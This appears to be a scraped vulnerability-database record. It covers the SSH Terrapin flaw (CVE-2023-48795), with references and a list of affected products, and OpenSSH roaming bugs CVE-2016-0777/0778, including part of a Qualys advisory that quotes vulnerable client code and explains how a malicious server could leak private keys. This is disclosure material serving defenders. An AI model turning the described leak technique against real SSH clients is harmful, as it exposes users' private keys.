af854a3a-2127-422b-91ae-364da2661108https://github.com/erlang/otp/blob/d1b43dc0f1361d2ad67601169e90a7fc50bb0369/lib/ssh/doc/src/notes.xml#L39-L42Patch
af854a3a-2127-422b-91ae-364da2661108https://github.com/erlang/otp/releases/tag/OTP-26.2.1Release Notes
af854a3a-2127-422b-91ae-364da2661108https://github.com/golang/crypto/commit/9d2ee975ef9fe627bf0a6f01c1f69e8ef1d4f05dPatch
af854a3a-2127-422b-91ae-364da2661108https://github.com/hierynomus/sshj/issues/916Issue Tracking
af854a3a-2127-422b-91ae-364da2661108https://github.com/janmojzis/tinyssh/issues/81Issue Tracking
af854a3a-2127-422b-91ae-364da2661108https://github.com/jtesta/ssh-audit/commit/8e972c5e94b460379fe0c7d20209c16df81538a5Patch
af854a3a-2127-422b-91ae-364da2661108https://github.com/libssh2/libssh2/pull/1291Mitigation
af854a3a-2127-422b-91ae-364da2661108https://github.com/mkj/dropbear/blob/17657c36cce6df7716d5ff151ec09a665382d5dd/CHANGES#L25Patch
af854a3a-2127-422b-91ae-364da2661108https://github.com/mscdex/ssh2/commit/97b223f8891b96d6fc054df5ab1d5a1a545da2a3Patch
af854a3a-2127-422b-91ae-364da2661108https://github.com/mwiede/jsch/compare/jsch-0.2.14...jsch-0.2.15Product
af854a3a-2127-422b-91ae-364da2661108https://github.com/mwiede/jsch/issues/457Issue Tracking
af854a3a-2127-422b-91ae-364da2661108https://github.com/mwiede/jsch/pull/461Release Notes
af854a3a-2127-422b-91ae-364da2661108https://github.com/net-ssh/net-ssh/blob/2e65064a52d73396bfc3806c9196fc8108f33cd8/CHANGES.txt#L14-L16Patch
af854a3a-2127-422b-91ae-364da2661108https://github.com/openssh/openssh-portable/commits/masterPatch
af854a3a-2127-422b-91ae-364da2661108https://github.com/paramiko/paramiko/issues/2337Issue Tracking
af854a3a-2127-422b-91ae-364da2661108https://github.com/proftpd/proftpd/blob/0a7ea9b0ba9fcdf368374a226370d08f10397d99/RELEASE_NOTESRelease Notes
af854a3a-2127-422b-91ae-364da2661108https://github.com/proftpd/proftpd/blob/d21e7a2e47e9b38f709bec58e3fa711f759ad0e1/RELEASE_NOTESRelease Notes
af854a3a-2127-422b-91ae-364da2661108https://github.com/proftpd/proftpd/blob/master/RELEASE_NOTESRelease Notes
af854a3a-2127-422b-91ae-364da2661108https://github.com/proftpd/proftpd/issues/456Issue Tracking
af854a3a-2127-422b-91ae-364da2661108https://github.com/rapier1/hpn-ssh/releasesRelease Notes
af854a3a-2127-422b-91ae-364da2661108https://github.com/ronf/asyncssh/blob/develop/docs/changes.rstRelease Notes
af854a3a-2127-422b-91ae-364da2661108https://github.com/ronf/asyncssh/tagsRelease Notes
af854a3a-2127-422b-91ae-364da2661108https://github.com/ssh-mitm/ssh-mitm/issues/165Issue Tracking
af854a3a-2127-422b-91ae-364da2661108https://github.com/warp-tech/russh/releases/tag/v0.40.2Release Notes
af854a3a-2127-422b-91ae-364da2661108https://gitlab.com/libssh/libssh-mirror/-/tagsRelease Notes
af854a3a-2127-422b-91ae-364da2661108https://groups.google.com/g/golang-announce/c/-n5WqVC18LQMailing List
af854a3a-2127-422b-91ae-364da2661108https://groups.google.com/g/golang-announce/c/qA3XtxvMUygMailing List
af854a3a-2127-422b-91ae-364da2661108https://help.panic.com/releasenotes/transmit5/Release Notes
af854a3a-2127-422b-91ae-364da2661108https://jadaptive.com/important-java-ssh-security-update-new-ssh-vulnerability-discovered-cve-2023-48795/Press/Media Coverage
af854a3a-2127-422b-91ae-364da2661108https://lists.debian.org/debian-lts-announce/2023/12/msg00017.htmlMailing List
af854a3a-2127-422b-91ae-364da2661108https://lists.debian.org/debian-lts-announce/2024/01/msg00013.htmlMailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://lists.debian.org/debian-lts-announce/2024/01/msg00014.htmlMailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://lists.debian.org/debian-lts-announce/2024/04/msg00016.htmlMailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://lists.debian.org/debian-lts-announce/2024/09/msg00042.html
af854a3a-2127-422b-91ae-364da2661108https://lists.debian.org/debian-lts-announce/2024/11/msg00032.html
af854a3a-2127-422b-91ae-364da2661108https://lists.debian.org/debian-lts-announce/2025/04/msg00028.html
af854a3a-2127-422b-91ae-364da2661108https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/33XHJUB6ROFUOH2OQNENFROTVH6MHSHA/Mailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/3CAYYW35MUTNO65RVAELICTNZZFMT2XS/Mailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/3JIMLVBDWOP4FUPXPTB4PGHHIOMGFLQE/Mailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/3YQLUQWLIHDB5QCXQEX7HXHAWMOKPP5O/Mailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/6Y74KVCPEPT4MVU3LHDWCNNOXOE5ZLUR/Mailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/APYIXIQOVDCRWLHTGB4VYMAUIAQLKYJ3/Mailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/BL5KTLOSLH2KHRN4HCXJPK3JUVLDGEL6/Mailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/C3AFMZ6MH2UHHOPIWT5YLSFV3D2VB3AC/Mailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/CHHITS4PUOZAKFIUBQAQZC7JWXMOYE4B/Mailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/F7EYCFQCTSGJXWO3ZZ44MGKFC5HA7G3Y/Mailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/HYEDEXIKFKTUJIN43RG4B7T5ZS6MHUSP/Mailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/I724O3LSRCPO4WNVIXTZCT4VVRMXMMSG/Mailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/KEOTKBUPZXHE3F352JBYNTSNRXYLWD6P/Mailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/KMZCVGUGJZZVDPCVDA7TEB22VUCNEXDD/Mailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/L5Y6MNNVAPIJSXJERQ6PKZVCIUXSNJK7/Mailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/LZQVUHWVWRH73YBXUQJOD6CKHDQBU3DM/Mailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/MKQRBF3DWMWPH36LBCOBUTSIZRTPEZXB/Vendor Advisory
af854a3a-2127-422b-91ae-364da2661108https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/QI3EHAHABFQK7OABNCSF5GMYP6TONTI7/Mailing List, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/33XHJUB6ROFUOH2OQNENFROTVH6MHSHA/
af854a3a-2127-422b-91ae-364da2661108https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3JIMLVBDWOP4FUPXPTB4PGHHIOMGFLQE/
af854a3a-2127-422b-91ae-364da2661108https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3YQLUQWLIHDB5QCXQEX7HXHAWMOKPP5O/
af854a3a-2127-422b-91ae-364da2661108https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6Y74KVCPEPT4MVU3LHDWCNNOXOE5ZLUR/
af854a3a-2127-422b-91ae-364da2661108https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/APYIXIQOVDCRWLHTGB4VYMAUIAQLKYJ3/
af854a3a-2127-422b-91ae-364da2661108https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/C3AFMZ6MH2UHHOPIWT5YLSFV3D2VB3AC/
af854a3a-2127-422b-91ae-364da2661108https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/HYEDEXIKFKTUJIN43RG4B7T5ZS6MHUSP/
af854a3a-2127-422b-91ae-364da2661108https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/I724O3LSRCPO4WNVIXTZCT4VVRMXMMSG/
af854a3a-2127-422b-91ae-364da2661108https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/L5Y6MNNVAPIJSXJERQ6PKZVCIUXSNJK7/
af854a3a-2127-422b-91ae-364da2661108https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/LZQVUHWVWRH73YBXUQJOD6CKHDQBU3DM/
af854a3a-2127-422b-91ae-364da2661108https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MKQRBF3DWMWPH36LBCOBUTSIZRTPEZXB/
af854a3a-2127-422b-91ae-364da2661108https://matt.ucc.asn.au/dropbear/CHANGESRelease Notes
af854a3a-2127-422b-91ae-364da2661108https://nest.pijul.com/pijul/thrussh/changes/D6H7OWTTMHHX6BTB3B6MNBOBX2L66CBL4LGSEUSAI2MCRCJDQFRQCPatch
af854a3a-2127-422b-91ae-364da2661108https://news.ycombinator.com/item?id=38684904Issue Tracking
af854a3a-2127-422b-91ae-364da2661108https://news.ycombinator.com/item?id=38685286Issue Tracking
af854a3a-2127-422b-91ae-364da2661108https://news.ycombinator.com/item?id=38732005Issue Tracking
af854a3a-2127-422b-91ae-364da2661108https://nova.app/releases/#v11.8Release Notes
af854a3a-2127-422b-91ae-364da2661108https://oryx-embedded.com/download/#changelogRelease Notes
af854a3a-2127-422b-91ae-364da2661108https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2024-0002Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://roumenpetrov.info/secsh/#news20231220Release Notes
af854a3a-2127-422b-91ae-364da2661108https://security-tracker.debian.org/tracker/CVE-2023-48795Vendor Advisory
af854a3a-2127-422b-91ae-364da2661108https://security-tracker.debian.org/tracker/source-package/libssh2Vendor Advisory
af854a3a-2127-422b-91ae-364da2661108https://security-tracker.debian.org/tracker/source-package/proftpd-dfsgVendor Advisory
af854a3a-2127-422b-91ae-364da2661108https://security-tracker.debian.org/tracker/source-package/trilead-ssh2Issue Tracking
af854a3a-2127-422b-91ae-364da2661108https://security.gentoo.org/glsa/202312-16Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://security.gentoo.org/glsa/202312-17Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://security.netapp.com/advisory/ntap-20240105-0004/Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://support.apple.com/kb/HT214084Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://thorntech.com/cve-2023-48795-and-sftp-gateway/Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://twitter.com/TrueSkrillor/status/1736774389725565005Press/Media Coverage
af854a3a-2127-422b-91ae-364da2661108https://ubuntu.com/security/CVE-2023-48795Vendor Advisory
af854a3a-2127-422b-91ae-364da2661108https://winscp.net/eng/docs/history#6.2.2Release Notes
af854a3a-2127-422b-91ae-364da2661108https://www.bitvise.com/ssh-client-version-history#933Release Notes
af854a3a-2127-422b-91ae-364da2661108https://www.bitvise.com/ssh-server-version-historyRelease Notes
af854a3a-2127-422b-91ae-364da2661108https://www.chiark.greenend.org.uk/~sgtatham/putty/changes.htmlRelease Notes
af854a3a-2127-422b-91ae-364da2661108https://www.crushftp.com/crush10wiki/Wiki.jsp?page=UpdateRelease Notes
af854a3a-2127-422b-91ae-364da2661108https://www.debian.org/security/2023/dsa-5586Issue Tracking
af854a3a-2127-422b-91ae-364da2661108https://www.debian.org/security/2023/dsa-5588Issue Tracking
af854a3a-2127-422b-91ae-364da2661108https://www.freebsd.org/security/advisories/FreeBSD-SA-23:19.openssh.ascRelease Notes
af854a3a-2127-422b-91ae-364da2661108https://www.lancom-systems.de/service-support/allgemeine-sicherheitshinweise#c243508Vendor Advisory
af854a3a-2127-422b-91ae-364da2661108https://www.netsarang.com/en/xshell-update-history/Release Notes
af854a3a-2127-422b-91ae-364da2661108https://www.openssh.com/openbsd.htmlRelease Notes
af854a3a-2127-422b-91ae-364da2661108https://www.openssh.com/txt/release-9.6Release Notes
af854a3a-2127-422b-91ae-364da2661108https://www.openwall.com/lists/oss-security/2023/12/18/2Mailing List
af854a3a-2127-422b-91ae-364da2661108https://www.openwall.com/lists/oss-security/2023/12/20/3Mailing List, Mitigation
af854a3a-2127-422b-91ae-364da2661108https://www.paramiko.org/changelog.htmlRelease Notes
af854a3a-2127-422b-91ae-364da2661108https://www.reddit.com/r/sysadmin/comments/18idv52/cve202348795_why_is_this_cve_still_undisclosed/Issue Tracking
af854a3a-2127-422b-91ae-364da2661108https://www.suse.com/c/suse-addresses-the-ssh-v2-protocol-terrapin-attack-aka-cve-2023-48795/Press/Media Coverage
af854a3a-2127-422b-91ae-364da2661108https://www.terrapin-attack.comExploit
af854a3a-2127-422b-91ae-364da2661108https://www.theregister.com/2023/12/20/terrapin_attack_sshPress/Media Coverage
af854a3a-2127-422b-91ae-364da2661108https://www.vandyke.com/products/securecrt/history.txtRelease Notes
af854a3a-2127-422b-91ae-364da2661108https://www.vicarius.io/vsociety/posts/cve-2023-48795-detect-openssh-vulnerabilitExploit, Third Party Advisory
af854a3a-2127-422b-91ae-364da2661108https://www.vicarius.io/vsociety/posts/cve-2023-48795-mitigate-openssh-vulnerabilityExploit, Third Party Advisory
Impacted products
Vendor Product Version
openbsd openssh *
putty putty *
filezilla-project filezilla_client *
apple macos -
panic transmit_5 *
apple macos -
panic nova *
roumenpetrov pkixssh *
winscp winscp *
bitvise ssh_client *
bitvise ssh_server *
lancom-systems lcos *
lancom-systems lcos_fx -
lancom-systems lcos_lx -
lancom-systems lcos_sx 4.20
lancom-systems lcos_sx 5.20
lancom-systems lanconfig -
vandyke securecrt *
libssh libssh *
net-ssh net-ssh 7.2.0
ssh2_project ssh2 *
proftpd proftpd *
freebsd freebsd *
crates thrussh *
tera_term_project tera_term *
oryx-embedded cyclone_ssh *
crushftp crushftp *
netsarang xshell_7 *
paramiko paramiko *
redhat openshift_container_platform 4.0
redhat openstack_platform 16.1
redhat openstack_platform 16.2
redhat openstack_platform 17.1
redhat ceph_storage 6.0
redhat enterprise_linux 8.0
redhat enterprise_linux 9.0
redhat openshift_serverless -
redhat openshift_gitops -
redhat openshift_pipelines -
redhat openshift_developer_tools_and_services -
redhat openshift_data_foundation 4.0
redhat openshift_api_for_data_protection -
redhat openshift_virtualization 4
redhat storage 3.0
redhat discovery -
redhat openshift_dev_spaces -
redhat cert-manager_operator_for_red_hat_openshift -
redhat keycloak -
redhat jboss_enterprise_application_platform 7.0
redhat single_sign-on 7.0
redhat advanced_cluster_security 3.0
redhat advanced_cluster_security 4.0
golang crypto *
russh_project russh *
sftpgo_project sftpgo *
erlang erlang\/otp *
erlang erlang\/otp *
erlang erlang\/otp *
erlang erlang\/otp *
erlang erlang\/otp *
matez jsch *
libssh2 libssh2 *
asyncssh_project asyncssh *
dropbear_ssh_project dropbear_ssh *
jadaptive maverick_synergy_java_ssh_api *
ssh ssh *
ssh ssh *
ssh ssh *
ssh ssh *
ssh ssh *
thorntech sftp_gateway_firmware *
netgate pfsense_plus *
netgate pfsense_ce *
crushftp crushftp *
connectbot sshlib *
apache sshd *
apache sshj *
tinyssh tinyssh *
trilead ssh2 6401
9bis kitty *
gentoo security -
debian debian_linux -
fedoraproject fedora 38
fedoraproject fedora 39
debian debian_linux 10.0
apple macos *
To clipboard 

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      "lang": "en",
      "value": "The SSH transport protocol with certain OpenSSH extensions, found in OpenSSH before 9.6 and other products, allows remote attackers to bypass integrity checks such that some packets are omitted (from the extension negotiation message), and a client and server may consequently end up with a connection for which some security features have been downgraded or disabled, aka a Terrapin attack. This occurs because the SSH Binary Packet Protocol (BPP), implemented by these extensions, mishandles the handshake phase and mishandles use of sequence numbers. For example, there is an effective attack against SSH\u0027s use of ChaCha20-Poly1305 (and CBC with Encrypt-then-MAC). The bypass occurs in chacha20-poly1305@openssh.com and (if CBC is used) the -etm@openssh.com MAC algorithms. This also affects Maverick Synergy Java SSH API before 3.1.0-SNAPSHOT, Dropbear through 2022.83, Ssh before 5.1.1 in Erlang/OTP, PuTTY before 0.80, AsyncSSH before 2.14.2, golang.org/x/crypto before 0.17.0, libssh before 0.10.6, libssh2 through 1.11.0, Thorn Tech SFTP Gateway before 3.4.6, Tera Term before 5.1, Paramiko before 3.4.0, jsch before 0.2.15, SFTPGo before 2.5.6, Netgate pfSense Plus through 23.09.1, Netgate pfSense CE through 2.7.2, HPN-SSH through 18.2.0, ProFTPD before 1.3.8b (and before 1.3.9rc2), ORYX CycloneSSH before 2.3.4, NetSarang XShell 7 before Build 0144, CrushFTP before 10.6.0, ConnectBot SSH library before 2.2.22, Apache MINA sshd through 2.11.0, sshj through 0.37.0, TinySSH through 20230101, trilead-ssh2 6401, LANCOM LCOS and LANconfig, FileZilla before 3.66.4, Nova before 11.8, PKIX-SSH before 14.4, SecureCRT before 9.4.3, Transmit5 before 5.10.4, Win32-OpenSSH before 9.5.0.0p1-Beta, WinSCP before 6.2.2, Bitvise SSH Server before 9.32, Bitvise SSH Client before 9.33, KiTTY through 0.76.1.13, the net-ssh gem 7.2.0 for Ruby, the mscdex ssh2 module before 1.15.0 for Node.js, the thrussh library before 0.35.1 for Rust, and the Russh crate before 0.40.2 for Rust."
    },
    {
      "lang": "es",
      "value": "El protocolo de transporte SSH con ciertas extensiones OpenSSH, que se encuentra en OpenSSH anterior a 9.6 y otros productos, permite a atacantes remotos eludir las comprobaciones de integridad de modo que algunos paquetes se omiten (del mensaje de negociaci\u00f3n de extensi\u00f3n) y, en consecuencia, un cliente y un servidor pueden terminar con una conexi\u00f3n para la cual algunas caracter\u00edsticas de seguridad han sido degradadas o deshabilitadas, tambi\u00e9n conocido como un ataque Terrapin. Esto ocurre porque SSH Binary Packet Protocol (BPP), implementado por estas extensiones, maneja mal la fase de protocolo de enlace y el uso de n\u00fameros de secuencia. Por ejemplo, existe un ataque eficaz contra ChaCha20-Poly1305 (y CBC con Encrypt-then-MAC). La omisi\u00f3n se produce en chacha20-poly1305@openssh.com y (si se utiliza CBC) en los algoritmos MAC -etm@openssh.com. Esto tambi\u00e9n afecta a Maverick Synergy Java SSH API anterior a 3.1.0-SNAPSHOT, Dropbear hasta 2022.83, Ssh anterior a 5.1.1 en Erlang/OTP, PuTTY anterior a 0.80 y AsyncSSH anterior a 2.14.2; y podr\u00eda haber efectos en Bitvise SSH hasta la versi\u00f3n 9.31, libssh hasta la 0.10.5 y golang.org/x/crypto hasta el 17 de diciembre de 2023."
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  "id": "CVE-2023-48795",
  "lastModified": "2025-11-04T22:15:55.110",
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      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Issue Tracking"
      ],
      "url": "https://www.debian.org/security/2023/dsa-5586"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Issue Tracking"
      ],
      "url": "https://www.debian.org/security/2023/dsa-5588"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Release Notes"
      ],
      "url": "https://www.freebsd.org/security/advisories/FreeBSD-SA-23:19.openssh.asc"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Vendor Advisory"
      ],
      "url": "https://www.lancom-systems.de/service-support/allgemeine-sicherheitshinweise#c243508"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Release Notes"
      ],
      "url": "https://www.netsarang.com/en/xshell-update-history/"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Release Notes"
      ],
      "url": "https://www.openssh.com/openbsd.html"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Release Notes"
      ],
      "url": "https://www.openssh.com/txt/release-9.6"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Mailing List"
      ],
      "url": "https://www.openwall.com/lists/oss-security/2023/12/18/2"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Mailing List",
        "Mitigation"
      ],
      "url": "https://www.openwall.com/lists/oss-security/2023/12/20/3"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Release Notes"
      ],
      "url": "https://www.paramiko.org/changelog.html"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Issue Tracking"
      ],
      "url": "https://www.reddit.com/r/sysadmin/comments/18idv52/cve202348795_why_is_this_cve_still_undisclosed/"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Press/Media Coverage"
      ],
      "url": "https://www.suse.com/c/suse-addresses-the-ssh-v2-protocol-terrapin-attack-aka-cve-2023-48795/"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Exploit"
      ],
      "url": "https://www.terrapin-attack.com"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Press/Media Coverage"
      ],
      "url": "https://www.theregister.com/2023/12/20/terrapin_attack_ssh"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Release Notes"
      ],
      "url": "https://www.vandyke.com/products/securecrt/history.txt"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Exploit",
        "Third Party Advisory"
      ],
      "url": "https://www.vicarius.io/vsociety/posts/cve-2023-48795-detect-openssh-vulnerabilit"
    },
    {
      "source": "af854a3a-2127-422b-91ae-364da2661108",
      "tags": [
        "Exploit",
        "Third Party Advisory"
      ],
      "url": "https://www.vicarius.io/vsociety/posts/cve-2023-48795-mitigate-openssh-vulnerability"
    }
  ],
  "sourceIdentifier": "cve@mitre.org",
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-354"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    },
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-354"
        }
      ],
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "type": "Secondary"
    }
  ]
}

VAR-201601-0030

Vulnerability from variot - Updated: 2024-07-23 20:39

The (1) roaming_read and (2) roaming_write functions in roaming_common.c in the client in OpenSSH 5.x, 6.x, and 7.x before 7.1p2, when certain proxy and forward options are enabled, do not properly maintain connection file descriptors, which allows remote servers to cause a denial of service (heap-based buffer overflow) or possibly have unspecified other impact by requesting many forwardings. OpenSSH client code versions 5.4 through 7.1p1 contains a client information leak vulnerability that could allow an OpenSSH client to leak information not limited to but including private keys, as well as a buffer overflow in certain non-default configurations. In addition, JVNVU#95595627 Then CWE-122 It is published as CWE-122: Heap-based Buffer Overflow http://cwe.mitre.org/data/definitions/122.htmlA large amount of transfer is requested by the remote server, resulting in a denial of service ( Heap-based buffer overflow ) It can be unspecified, such as being put into a state. OpenSSH is prone to a heap-based buffer-overflow vulnerability. Successful exploits may allow attackers to execute arbitrary code in the context of the affected application. Failed attacks will cause denial-of-service conditions. OpenSSH (OpenBSD Secure Shell) is a set of connection tools for securely accessing remote computers maintained by the OpenBSD project team. This tool is an open source implementation of the SSH protocol, supports encryption of all transmissions, and can effectively prevent eavesdropping, connection hijacking, and other network-level attacks. The following versions are affected: OpenSSH 5.x, 6.x, 7.x prior to 7.1p2. ============================================================================ Ubuntu Security Notice USN-2869-1 January 14, 2016

openssh vulnerabilities

A security issue affects these releases of Ubuntu and its derivatives:

  • Ubuntu 15.10
  • Ubuntu 15.04
  • Ubuntu 14.04 LTS
  • Ubuntu 12.04 LTS

Summary:

OpenSSH could be made to expose sensitive information over the network.

Update instructions:

The problem can be corrected by updating your system to the following package versions:

Ubuntu 15.10: openssh-client 1:6.9p1-2ubuntu0.1

Ubuntu 15.04: openssh-client 1:6.7p1-5ubuntu1.4

Ubuntu 14.04 LTS: openssh-client 1:6.6p1-2ubuntu2.4

Ubuntu 12.04 LTS: openssh-client 1:5.9p1-5ubuntu1.8

In general, a standard system update will make all the necessary changes. Qualys Security Advisory

Roaming through the OpenSSH client: CVE-2016-0777 and CVE-2016-0778

======================================================================== Contents ========================================================================

Summary Information Leak (CVE-2016-0777) - Analysis - Private Key Disclosure - Mitigating Factors - Examples Buffer Overflow (CVE-2016-0778) - Analysis - Mitigating Factors - File Descriptor Leak Acknowledgments Proof Of Concept

======================================================================== Summary ========================================================================

Since version 5.4 (released on March 8, 2010), the OpenSSH client supports an undocumented feature called roaming: if the connection to an SSH server breaks unexpectedly, and if the server supports roaming as well, the client is able to reconnect to the server and resume the suspended SSH session. This information leak may have already been exploited in the wild by sophisticated attackers, and high-profile sites or users may need to regenerate their SSH keys accordingly.

The buffer overflow, on the other hand, is present in the default configuration of the OpenSSH client but its exploitation requires two non-default options: a ProxyCommand, and either ForwardAgent (-A) or ForwardX11 (-X). This buffer overflow is therefore unlikely to have any real-world impact, but provides a particularly interesting case study.

All OpenSSH versions between 5.4 and 7.1 are vulnerable, but can be easily hot-fixed by setting the undocumented option "UseRoaming" to "no", as detailed in the Mitigating Factors section. OpenSSH version 7.1p2 (released on January 14, 2016) disables roaming by default.

======================================================================== Information Leak (CVE-2016-0777) ========================================================================

Analysis

If the OpenSSH client connects to an SSH server that offers the key exchange algorithm "resume@appgate.com", it sends the global request "roaming@appgate.com" to the server, after successful authentication. If this request is accepted, the client allocates a roaming buffer out_buf, by calling malloc() (and not calloc()) with an out_buf_size that is arbitrarily chosen by the server:

63 void 64 roaming_reply(int type, u_int32_t seq, void *ctxt) 65 { 66 if (type == SSH2_MSG_REQUEST_FAILURE) { 67 logit("Server denied roaming"); 68 return; 69 } 70 verbose("Roaming enabled"); .. 75 set_out_buffer_size(packet_get_int() + get_snd_buf_size()); .. 77 }

40 static size_t out_buf_size = 0; 41 static char out_buf = NULL; 42 static size_t out_start; 43 static size_t out_last; .. 75 void 76 set_out_buffer_size(size_t size) 77 { 78 if (size == 0 || size > MAX_ROAMBUF) 79 fatal("%s: bad buffer size %lu", func, (u_long)size); 80 / 81 * The buffer size can only be set once and the buffer will live 82 * as long as the session lives. 83 */ 84 if (out_buf == NULL) { 85 out_buf_size = size; 86 out_buf = xmalloc(size); 87 out_start = 0; 88 out_last = 0; 89 } 90 }

The OpenSSH client's roaming_write() function, a simple wrapper around write(), calls wait_for_roaming_reconnect() to transparently reconnect to the SSH server after a disconnection. It also calls buf_append() to copy the data sent to the server into the roaming buffer out_buf. During a reconnection, the client is therefore able to resend the data that was not received by the server because of the disconnection:

198 void 199 resend_bytes(int fd, u_int64_t offset) 200 { 201 size_t available, needed; 202 203 if (out_start < out_last) 204 available = out_last - out_start; 205 else 206 available = out_buf_size; 207 needed = write_bytes - offset; 208 debug3("resend_bytes: resend %lu bytes from %llu", 209 (unsigned long)needed, (unsigned long long)*offset); 210 if (needed > available) 211 fatal("Needed to resend more data than in the cache"); 212 if (out_last < needed) { 213 int chunkend = needed - out_last; 214 atomicio(vwrite, fd, out_buf + out_buf_size - chunkend, 215 chunkend); 216 atomicio(vwrite, fd, out_buf, out_last); 217 } else { 218 atomicio(vwrite, fd, out_buf + (out_last - needed), needed); 219 } 220 }

In the OpenSSH client's roaming buffer out_buf, the most recent data sent to the server begins at index out_start and ends at index out_last. As soon as this circular buffer is full, buf_append() maintains the invariant "out_start = out_last + 1", and consequently three different cases have to be considered:

  • "out_start < out_last" (lines 203-204): out_buf is not full yet (and out_start is still equal to 0), and the amount of data available in out_buf is indeed "out_last - out_start";

  • "out_start > out_last" (lines 205-206): out_buf is full (and out_start is exactly equal to "out_last + 1"), and the amount of data available in out_buf is indeed the entire out_buf_size;

  • "out_start == out_last" (lines 205-206): no data was ever written to out_buf (and both out_start and out_last are still equal to 0) because no data was ever sent to the server after roaming_reply() was called, but the client sends (leaks) the entire uninitialized out_buf to the server (line 214), as if out_buf_size bytes of data were available.

In order to successfully exploit this information leak and retrieve sensitive information from the OpenSSH client's memory (for example, private SSH keys, or memory addresses useful for further exploitation), a malicious server needs to:

  • Massage the client's heap before roaming_reply() malloc()ates out_buf, and force malloc() to return a previously free()d but uncleansed chunk of sensitive information. The simple proof-of-concept in this advisory does not implement heap massaging.

